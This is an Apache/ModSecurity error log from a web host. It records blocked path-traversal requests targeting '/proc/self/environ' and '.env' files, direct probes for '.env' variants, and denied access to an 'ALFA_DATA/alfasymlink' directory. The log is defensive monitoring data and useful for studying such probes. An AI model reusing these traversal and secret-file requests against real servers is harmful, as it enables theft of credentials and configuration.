[Sun Oct 25 10:21:38.852686 2026] [security2:error] [pid 2834008:tid 2834008] [client 35.204.239.58:42784] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /userfiles/x?path=../../../../proc/self/environ"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "direc2.sherwinpinturas.com"] [uri "/userfiles/x"] [unique_id "at4QcoxkYfnWL-SU_mhrjgAAAA0"]
[Sun Oct 25 10:21:38.852743 2026] [security2:error] [pid 2834008:tid 2834008] [client 35.204.239.58:42784] ModSecurity: Warning. Matched phrase "proc/self/environ" at ARGS:path. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "41"] [id "930120"] [rev "4"] [msg "OS File Access Attempt"] [data "Matched Data: proc/self/environ found within ARGS:path: ../../../../proc/self/environ"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "direc2.sherwinpinturas.com"] [uri "/userfiles/x"] [unique_id "at4QcoxkYfnWL-SU_mhrjgAAAA0"]
[Sun Oct 25 10:21:38.853153 2026] [security2:error] [pid 2834008:tid 2834008] [client 35.204.239.58:42784] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 20)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "direc2.sherwinpinturas.com"] [uri "/userfiles/x"] [unique_id "at4QcoxkYfnWL-SU_mhrjgAAAA0"]
[Sun Oct 25 10:21:38.853452 2026] [security2:error] [pid 2834008:tid 2834008] [client 35.204.239.58:42784] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 20 - SQLI=0,XSS=0,RFI=0,LFI=20,RCE=0,PHPI=0,HTTP=0,SESS=0): OS File Access Attempt"] [tag "event-correlation"] [hostname "direc2.sherwinpinturas.com"] [uri "/userfiles/x"] [unique_id "at4QcoxkYfnWL-SU_mhrjgAAAA0"]
[Sun Oct 25 10:21:38.796192 2026] [security2:error] [pid 2847162:tid 2847162] [client 35.204.239.58:42710] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "29"] [id "930100"] [rev "3"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI_RAW: /userfiles?path=../../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "direc2.sherwinpinturas.com"] [uri "/userfiles"] [unique_id "at4QcmfNJowUWx98rtMe-wAAABU"]
[Sun Oct 25 10:21:38.854117 2026] [security2:error] [pid 2847162:tid 2847162] [client 35.204.239.58:42710] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /userfiles?path=../../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "direc2.sherwinpinturas.com"] [uri "/userfiles"] [unique_id "at4QcmfNJowUWx98rtMe-wAAABU"]
[Sun Oct 25 10:21:38.854176 2026] [security2:error] [pid 2847162:tid 2847162] [client 35.204.239.58:42710] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /userfiles?path=../../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "direc2.sherwinpinturas.com"] [uri "/userfiles"] [unique_id "at4QcmfNJowUWx98rtMe-wAAABU"]
[Sun Oct 25 10:21:38.854693 2026] [security2:error] [pid 2847162:tid 2847162] [client 35.204.239.58:42710] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 15)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "direc2.sherwinpinturas.com"] [uri "/userfiles"] [unique_id "at4QcmfNJowUWx98rtMe-wAAABU"]
[Sun Oct 25 10:21:38.855002 2026] [security2:error] [pid 2847162:tid 2847162] [client 35.204.239.58:42710] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 15 - SQLI=0,XSS=0,RFI=0,LFI=15,RCE=0,PHPI=0,HTTP=0,SESS=0): Path Traversal Attack (/../)"] [tag "event-correlation"] [hostname "direc2.sherwinpinturas.com"] [uri "/userfiles"] [unique_id "at4QcmfNJowUWx98rtMe-wAAABU"]
[Sun Oct 25 10:21:38.814413 2026] [security2:error] [pid 2834019:tid 2834019] [client 35.204.239.58:42510] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "29"] [id "930100"] [rev "3"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI_RAW: /userfiles?path=../../../../proc/self/environ"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "direc2.sherwinpinturas.com"] [uri "/userfiles"] [unique_id "at4Qcksgp-xlBP1GcWOSbgAAABE"]
[Sun Oct 25 10:21:38.856969 2026] [security2:error] [pid 2834019:tid 2834019] [client 35.204.239.58:42510] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /userfiles?path=../../../../proc/self/environ"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "direc2.sherwinpinturas.com"] [uri "/userfiles"] [unique_id "at4Qcksgp-xlBP1GcWOSbgAAABE"]
[Sun Oct 25 10:21:38.857037 2026] [security2:error] [pid 2834019:tid 2834019] [client 35.204.239.58:42510] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /userfiles?path=../../../../proc/self/environ"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "direc2.sherwinpinturas.com"] [uri "/userfiles"] [unique_id "at4Qcksgp-xlBP1GcWOSbgAAABE"]
[Sun Oct 25 10:21:38.857116 2026] [security2:error] [pid 2834019:tid 2834019] [client 35.204.239.58:42510] ModSecurity: Warning. Matched phrase "proc/self/environ" at ARGS:path. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "41"] [id "930120"] [rev "4"] [msg "OS File Access Attempt"] [data "Matched Data: proc/self/environ found within ARGS:path: ../../../../proc/self/environ"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "direc2.sherwinpinturas.com"] [uri "/userfiles"] [unique_id "at4Qcksgp-xlBP1GcWOSbgAAABE"]
[Sun Oct 25 10:21:38.857584 2026] [security2:error] [pid 2834019:tid 2834019] [client 35.204.239.58:42510] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 20)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "direc2.sherwinpinturas.com"] [uri "/userfiles"] [unique_id "at4Qcksgp-xlBP1GcWOSbgAAABE"]
[Sun Oct 25 10:21:38.857903 2026] [security2:error] [pid 2834019:tid 2834019] [client 35.204.239.58:42510] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 20 - SQLI=0,XSS=0,RFI=0,LFI=20,RCE=0,PHPI=0,HTTP=0,SESS=0): OS File Access Attempt"] [tag "event-correlation"] [hostname "direc2.sherwinpinturas.com"] [uri "/userfiles"] [unique_id "at4Qcksgp-xlBP1GcWOSbgAAABE"]
[Sun Oct 25 10:21:38.815202 2026] [security2:error] [pid 2847138:tid 2847138] [client 35.204.239.58:42560] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "29"] [id "930100"] [rev "3"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI_RAW: /userfiles/x?path=../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "direc2.sherwinpinturas.com"] [uri "/userfiles/x"] [unique_id "at4QcqZ77hUnuhW6b3ZPQwAAAAA"]
[Sun Oct 25 10:21:38.858356 2026] [security2:error] [pid 2847138:tid 2847138] [client 35.204.239.58:42560] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /userfiles/x?path=../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "direc2.sherwinpinturas.com"] [uri "/userfiles/x"] [unique_id "at4QcqZ77hUnuhW6b3ZPQwAAAAA"]
[Sun Oct 25 10:21:38.858392 2026] [security2:error] [pid 2847138:tid 2847138] [client 35.204.239.58:42560] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /userfiles/x?path=../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "direc2.sherwinpinturas.com"] [uri "/userfiles/x"] [unique_id "at4QcqZ77hUnuhW6b3ZPQwAAAAA"]
[Sun Oct 25 10:21:38.858759 2026] [security2:error] [pid 2847138:tid 2847138] [client 35.204.239.58:42560] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 15)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "direc2.sherwinpinturas.com"] [uri "/userfiles/x"] [unique_id "at4QcqZ77hUnuhW6b3ZPQwAAAAA"]
[Sun Oct 25 10:21:38.859008 2026] [security2:error] [pid 2847138:tid 2847138] [client 35.204.239.58:42560] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 15 - SQLI=0,XSS=0,RFI=0,LFI=15,RCE=0,PHPI=0,HTTP=0,SESS=0): Path Traversal Attack (/../)"] [tag "event-correlation"] [hostname "direc2.sherwinpinturas.com"] [uri "/userfiles/x"] [unique_id "at4QcqZ77hUnuhW6b3ZPQwAAAAA"]
[Sun Oct 25 10:21:38.861960 2026] [security2:error] [pid 2847158:tid 2847158] [client 35.204.239.58:42752] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 15)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "direc2.sherwinpinturas.com"] [uri "/userfiles"] [unique_id "at4QcqQMBVMuq7VW19AcBQAAAA4"]
[Sun Oct 25 10:21:38.815571 2026] [security2:error] [pid 2847157:tid 2847157] [client 35.204.239.58:42712] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "direc2.sherwinpinturas.com"] [uri "/api/system/fileView"] [unique_id "at4QchjDdGZa_VoIlCrpkQAAAAs"]
[Sun Oct 25 10:21:39.016223 2026] [security2:error] [pid 2847157:tid 2847157] [client 35.204.239.58:42712] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): OS File Access Attempt"] [tag "event-correlation"] [hostname "direc2.sherwinpinturas.com"] [uri "/api/system/fileView"] [unique_id "at4QchjDdGZa_VoIlCrpkQAAAAs"]
[Sun Oct 25 10:21:38.842056 2026] [security2:error] [pid 2847168:tid 2847168] [client 35.204.239.58:42774] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 15)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "direc2.sherwinpinturas.com"] [uri "/userfiles"] [unique_id "at4Qckn6URg6zvHWvuwQdAAAABs"]
[Sun Oct 25 10:21:39.039570 2026] [security2:error] [pid 2847163:tid 2847163] [client 35.204.239.58:42768] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "direc2.sherwinpinturas.com"] [uri "/.env"] [unique_id "at4Qc9z3UDOkuAqltv5V0AAAABY"]
[Sun Oct 25 10:21:39.039747 2026] [security2:error] [pid 2847163:tid 2847163] [client 35.204.239.58:42768] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "direc2.sherwinpinturas.com"] [uri "/.env"] [unique_id "at4Qc9z3UDOkuAqltv5V0AAAABY"]
[Sun Oct 25 10:21:39.039969 2026] [security2:error] [pid 2847163:tid 2847163] [client 35.204.239.58:42768] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "direc2.sherwinpinturas.com"] [uri "/.env"] [unique_id "at4Qc9z3UDOkuAqltv5V0AAAABY"]
[Sun Oct 25 10:21:39.041020 2026] [security2:error] [pid 2847144:tid 2847144] [client 35.204.239.58:42632] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.example"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "direc2.sherwinpinturas.com"] [uri "/.env.example"] [unique_id "at4QcxQ0jTZBi_DxXWPoLwAAAAk"]
[Sun Oct 25 10:21:39.041176 2026] [security2:error] [pid 2847144:tid 2847144] [client 35.204.239.58:42632] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "direc2.sherwinpinturas.com"] [uri "/.env.example"] [unique_id "at4QcxQ0jTZBi_DxXWPoLwAAAAk"]
[Sun Oct 25 10:21:39.041377 2026] [security2:error] [pid 2847144:tid 2847144] [client 35.204.239.58:42632] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "direc2.sherwinpinturas.com"] [uri "/.env.example"] [unique_id "at4QcxQ0jTZBi_DxXWPoLwAAAAk"]
[Sun Oct 25 10:21:39.042528 2026] [security2:error] [pid 2847159:tid 2847159] [client 35.204.239.58:42736] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.production"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "direc2.sherwinpinturas.com"] [uri "/.env.production"] [unique_id "at4Qc-g7UwOwl8XKB5KOLgAAAA8"]
[Sun Oct 25 10:21:39.042665 2026] [security2:error] [pid 2847159:tid 2847159] [client 35.204.239.58:42736] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "direc2.sherwinpinturas.com"] [uri "/.env.production"] [unique_id "at4Qc-g7UwOwl8XKB5KOLgAAAA8"]
[Sun Oct 25 10:21:39.042884 2026] [security2:error] [pid 2847159:tid 2847159] [client 35.204.239.58:42736] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "direc2.sherwinpinturas.com"] [uri "/.env.production"] [unique_id "at4Qc-g7UwOwl8XKB5KOLgAAAA8"]
[Sun Oct 25 10:21:38.981576 2026] [security2:error] [pid 2847162:tid 2847162] [client 35.204.239.58:42710] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "direc2.sherwinpinturas.com"] [uri "/push_config.json"] [unique_id "at4QcmfNJowUWx98rtMe_AAAABU"]
[Sun Oct 25 10:21:39.093806 2026] [security2:error] [pid 2847162:tid 2847162] [client 35.204.239.58:42710] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "direc2.sherwinpinturas.com"] [uri "/push_config.json"] [unique_id "at4QcmfNJowUWx98rtMe_AAAABU"]
[Sun Oct 25 10:21:38.990187 2026] [security2:error] [pid 2847158:tid 2847158] [client 35.204.239.58:42752] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 15 - SQLI=0,XSS=0,RFI=0,LFI=15,RCE=0,PHPI=0,HTTP=0,SESS=0): Path Traversal Attack (/../)"] [tag "event-correlation"] [hostname "direc2.sherwinpinturas.com"] [uri "/userfiles"] [unique_id "at4QcqQMBVMuq7VW19AcBQAAAA4"]
[Sun Oct 25 10:21:39.078991 2026] [security2:error] [pid 2847168:tid 2847168] [client 35.204.239.58:42774] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 15 - SQLI=0,XSS=0,RFI=0,LFI=15,RCE=0,PHPI=0,HTTP=0,SESS=0): Path Traversal Attack (/../)"] [tag "event-correlation"] [hostname "direc2.sherwinpinturas.com"] [uri "/userfiles"] [unique_id "at4Qckn6URg6zvHWvuwQdAAAABs"]
[Sun Oct 25 10:21:42.577749 2026] [ssl:error] [pid 2806348:tid 2806348] (70014)End of file found: [client 54.89.90.224:35315] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 10:21:50.149932 2026] [ssl:error] [pid 2847227:tid 2847227] (70014)End of file found: [client 52.204.71.8:22254] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 10:21:53.739263 2026] [core:error] [pid 2834025:tid 2834025] (13)Permission denied: [client 85.208.96.195:56236] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/hugetlbfs_inode_cache/red_zone
[Sun Oct 25 10:21:54.257259 2026] [core:error] [pid 2847145:tid 2847145] (13)Permission denied: [client 23.21.148.226:56264] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/class/tty/ttyS1/device/tty/ttyS0/device/subsystem/drivers/serial8250/unbind
